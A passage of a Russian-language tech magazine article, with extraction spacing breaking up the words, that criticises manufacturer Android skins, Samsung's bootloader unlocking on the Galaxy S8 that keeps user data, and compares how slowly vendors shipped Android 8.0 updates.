droid,  я  сра зу  запутал ся.  Почему  есть  «кон такты»  и  «кон такты»?  Зачем  два
раз ных бра узе ра? Почему есть «часы» и «часы»? Для чего два поч товых кли‐ 
ента?  Со  вре менем  ува жающие  себя  про изво дите ли  перес тали  вклю чать
при ложе ния собс твен ной раз работ ки, дуб лиру ющие основную фун кци ональ‐ 
ность  Android.  Но  не  Samsung,  упор но  встав ляющая  собс твен ный  веб‐бра‐ 
узер  (зачем?  Он  что,  уме ет  перево дить  стра ницы  с  инос тран ных  язы ков
или  син хро низи ровать  пароли  с  обла ком  Google?),  собс твен ный  поч товый
кли ент и мас су дру гих ути лит собс твен ной раз работ ки.

А  зна мени тая  кноп ка  Bixby,  слу чай ное  нажатие  которой  акти виру ет
ассистен та? Отклю чить эту кноп ку мож но, но для это го нуж но сна чала нас тро‐ 
ить Bixby, а для это го — ска чать и уста новить мно жес тво мусор ных прог рамм
от Samsung, о которых я уже рас ска зывал.

От дель но отме чу пот ряса ющую наход ку Samsung в области безопас ности.
В  любом  дру гом  смар тфо не,  сер тифици рован ном  Google,  для  раз бло‐ 

киро вания заг рузчи ка нуж но сна чала раз решить OEM Unlocking в нас трой ках,
потом перег рузить ся в fastboot, раз бло киро вать заг рузчик коман дой fastboot
oem unlock или подоб ной — и сра зу же лишить ся всех дан ных. Унич тожение
дан ных  при  раз бло киро вании  заг рузчи ка  —  важ ней ший  эле мент  безопас‐ 
ности,  поз воля ющий  защитить  дан ные  от  несан кци они рован ного  дос тупа
через рут или кас томное рекаве ри.

В Samsung (по край ней мере, в модели Galaxy S8) раз бло киро вание заг‐ 
рузчи ка дела ется так: раз решить OEM Unlocking в нас трой ках и… и все. Мож‐ 
но  заг ружать ся  в  кас томное  рекаве ри,  ста вить  рут,  извле кать  дан ные.
Зияющая дыра в безопас ности, оставлен ная как буд то спе циаль но, — при чем
стра дают от нее вов се не любите ли пос тавить рут или кас томную про шив ку,
а самые обыч ные поль зовате ли, дан ные которых могут быть зап росто сли ты
с исполь зовани ем раз бло киро ван ного заг рузчи ка.

Ес ли пос ле все го перечис ленно го ты все рав но счи таешь вари ант Android
от Samsung «нор маль ным» — мне нечего добавить.

ОБНОВЛЕНИЯ
Хо рошая  опе раци онная  сис тема  обновля ется  быс тро,  чет ко  и  по  рас‐ 
писанию. Apple iOS уже дав но счи тает ся эта лоном в отно шении обновле ний,
но есть и дру гие про изво дите ли, которые прек расно обновля ют свои устрой‐ 
ства. Для начала пос мотрим на эту таб личку ( ):ис точник

Как видишь, Apple и Microsoft обновля ют свои устрой ства в течение дли тель‐ 
ного  сро ка,  регуляр но  и  сво евре мен но.  Более  того,  Microsoft  про дол жает
обновлять  смар тфо ны  на  Windows  10  Mobile  —  даже  те,  которые  были
выпуще ны  сто рон ними  про изво дите лями! —  нес мотря  на  отказ  от  раз вития
плат формы.  Такая  полити ка  дос той на  ува жения,  ведь  подав ляющее  боль‐ 
шинс тво  про изво дите лей  смар тфо нов  на  Android  обновля ет  свои  модели
по  прин ципу:  «Будет  хорошо  про давать ся  —  может,  ког да‐то  и  обно вим.
Нет — тихо забудем».

Вот, к при меру, HTC. Не самое дешевое устрой ство HTC U Ultra (Snapdrag‐
on 821) уже ров но год работа ет на все той же вер сии Android 7.0, с которой
оно выш ло в про дажу. Обновле ний до про межу точ ных вер сий Android у HTC
не пре дус мотре но. Пос ледний патч безопас ности для U Ultra был в нояб ре,
а  рас сылка  Android  8.0  (спус тя  пол года  пос ле  выхода  этой  вер сии  ОС)  то
начина ется, то сно ва прек раща ется из‐за най ден ных оши бок.

Об новле ние до Android 8.0 для текуще го флаг мана (U11): 99 дней•
Об новле ние до Android 8.0 для пре дыду щего флаг мана (HTC 10): 180 дней•
Ин форма ция  об  обновле ниях:  пло хо  (толь ко  спи сок  устрой ств,  которые
получат обновле ние)

•

Ре зуль тат: пло хо•

Нес коль ко луч ше обсто ят дела у OnePlus:
Об новле ние до Android 8.0 для текуще го флаг мана (5/5T): 137 дней•
Об новле ние до Android 8.0 для пре дыду щего флаг мана (3/3T): 91 день•
Ин форма ция об обновле ниях: сред не (форум, откры тые бета‐вер сии)•
Ре зуль тат: про тиво речи вый•

Motorola  ког да‐то  явля ла  собой  при мер  ком пании,  которая  не  толь ко  под‐ 
держи вала свои устрой ства в течение дли тель ного вре мени, но и быс тро их
обновля ла  до  акту аль ных  вер сий  Android  бла года ря  исполь зованию  чис той
вер сии сис темы.

Об новле ние  до  Android  8.0  для  текуще го  флаг мана  (Moto  Z2  Force):
124 дня

•

Об новле ние  до  Android  8.0  для  пре дыду щего флаг мана  (Moto  Z):  до  сих
пор нет; боль ше 200 дней

•

Ин форма ция  об  обновле ниях:  пло хо  (толь ко  спи сок  устрой ств,  которые
получат обновле ние)

•

Ре зуль тат: неудов летво ритель но•

LG печаль но извес тна сво ей нетороп ливостью. Еще бы: обно вить нас толь ко
силь но «улуч шенную» обо лоч ку — это сколь ко работы улуч шателям!

Об новле ние до Android 8.0 для текуще го флаг мана (V30): 166 дней•
Об новле ние  до  Android  8.0  для  пре дыду щего флаг мана  (G6):  до  сих  пор
нет; боль ше 200 дней

•

Ин форма ция об обновле ниях: пло хо•
Ре зуль тат: неудов летво ритель но•

А как обсто ят дела у Samsung? Круп ней ший про изво дитель смар тфо нов с An‐
droid ока зал ся и самым нетороп ливым сре ди кон курен тов.

Об новле ние до Android 8.0 для текуще го флаг мана (S8): 172 дня•
Об новле ние  до  Android  8.0  для  пре дыду щего флаг мана  (S7):  до  сих  пор
нет; боль ше 200 дней

•

Ин форма ция об обновле ниях: пло хо•
Ре зуль тат: неудов летво ритель но•

Samsung —  самая  нетороп ливая?  Подож ди,  мы  еще  не  видели  BlackBerry!
Обновля емость  устрой ства на Android  никак не  зависит от  име нитос ти  ком‐ 
пании, гром ких обе щаний или цены устрой ства. Ком пания BlackBerry, которая
обе щала  двух летнюю  под дер жку  для  DTEK60  (меж ду  про чим,  Snapdragon
820  и  сов сем  не  божес кая  цена),  с  момен та  выхода  устрой ства  в  2016‐м
выпус тила  обновле ний  Android…  ноль.  А  что  с  двух летней  под дер жкой?
Видимо, име лись в виду исклю читель но пат чи безопас ности.

Об новле ние до Android 8.0 для текуще го флаг мана: до сих пор нет (боль‐ 
ше 200 дней)

•

Об новле ние до Android 8.0 для пре дыду щего флаг мана: никог да•
Об новле ние до Android 7.0 для пре дыду щего флаг мана: никог да•
Ин форма ция об обновле ниях: очень пло хо (нет пол ного спис ка устрой ств,
которые получат обновле ние)

•

Ре зуль тат: хуже некуда•

А есть ли про изво дите ли, которые акку рат но обновля ют Android? Да, их два:
Google  и  Nokia.  Про  Google  мож но  осо бо  не  говорить:  основная  фиш ка  их
устрой ств как раз в получе нии обновле ний нап рямую от про изво дите ля.

Об новле ния Android от Google:
Об новле ние  до  Android  8.0  для  текуще го  поколе ния  устрой ств:  9  дней
(0 дней для учас тни ков бета‐тес тирова ния)

•

Об новле ние  до  Android  8.0  для  пре дыду щего  поколе ния:  18  дней  (0–
18 дней для учас тни ков бета‐тес тирова ния)

•

Ин форма ция  об  обновле ниях:  хорошо  (пуб личные  бета‐вер сии  через
ОТА)

•

Ре зуль тат: отличный•

Еще  одна  ком пания,  регуляр но  обновля ющая  вер сии  Android  (по  край ней
мере, на флаг манах), — «новая» Nokia под управле нием HMD Global. У ком‐ 
пании пока все го один флаг ман, выпущен ный на пре дыду щей вер сии Android,
и  ста тис тику мы еще не накопи ли.  Тем не менее пер воначаль ный резуль тат
обна дежи вает.

Об новле ния Android от Nokia:
Об новле ние до Android 8.0 для текуще го флаг мана: 90 дней•
Об новле ние до Android 8.1 для текуще го флаг мана: 58 дней•
Ин форма ция об обновле ниях: хорошо•
Ре зуль тат: хороший•

ЗАКЛЮЧЕНИЕ
В хорошей мобиль ной ОС прек расно все: и драй веры, и внеш ний вид (даже
если внеш ний вид сис темы — воп рос вку са, то пос ледова тель ность в исполь‐ 
зовании выб ранной кон цепции интерфей са уже впол не объ ективный показа‐ 
тель). Разуме ется,  очень  важ на плав ность работы. Немало важ ны и  воп росы
безопас ности,  под дер жки  и  регуляр ных  обновле ний  со  сто роны  про изво‐ 
дите ля.  Имен но  такой  поль зователь ский  опыт  пред лага ет  Google  в  сво их
линей ках Pixel и Pixel 2.

К сожале нию, у дру гих про изво дите лей дела обсто ят далеко не так радуж‐ 
но. Иско вер канные, без вкус ные вари ации поль зователь ских интерфей сов  (и
я сей час не о дизай не домаш него экра на — лаун чер‐то заменить лег ко), ази‐ 
атские  свис телки‐пищал ки,  «улуч шенные»  уве дом ления,  которые  физичес ки
невоз можно зас тавить замол чать, зияющие дыры в безопас ности, оставлен‐ 
ные  буд то  бы  нароч но,  отвра титель ного  качес тва  драй веры,  которые  через
прог рам мные прок ладки будут исполь зовать ся сно ва и сно ва в новых вер сиях
Android — при усло вии, что эти новые вер сии вооб ще будут… Все эти вещи —
отличный повод поругать Android.

https://www.xda-developers.com/cameras-custom-roms-developers-make-hardware-work-without-source-code/
https://www.xda-developers.com/samsung-exynos-and-aosp-explained-a-story-of-betrayal/
https://androidinsider.ru/os/mechta-hakera-hudshiy-kod-vse-eto-o-tizen-os-ot-kompanii-samsung.html
https://www.theregister.co.uk/2017/07/12/samsungs_tizen_no_longer_worst_ever/
https://twitter.com/secx13/status/968225118517452800
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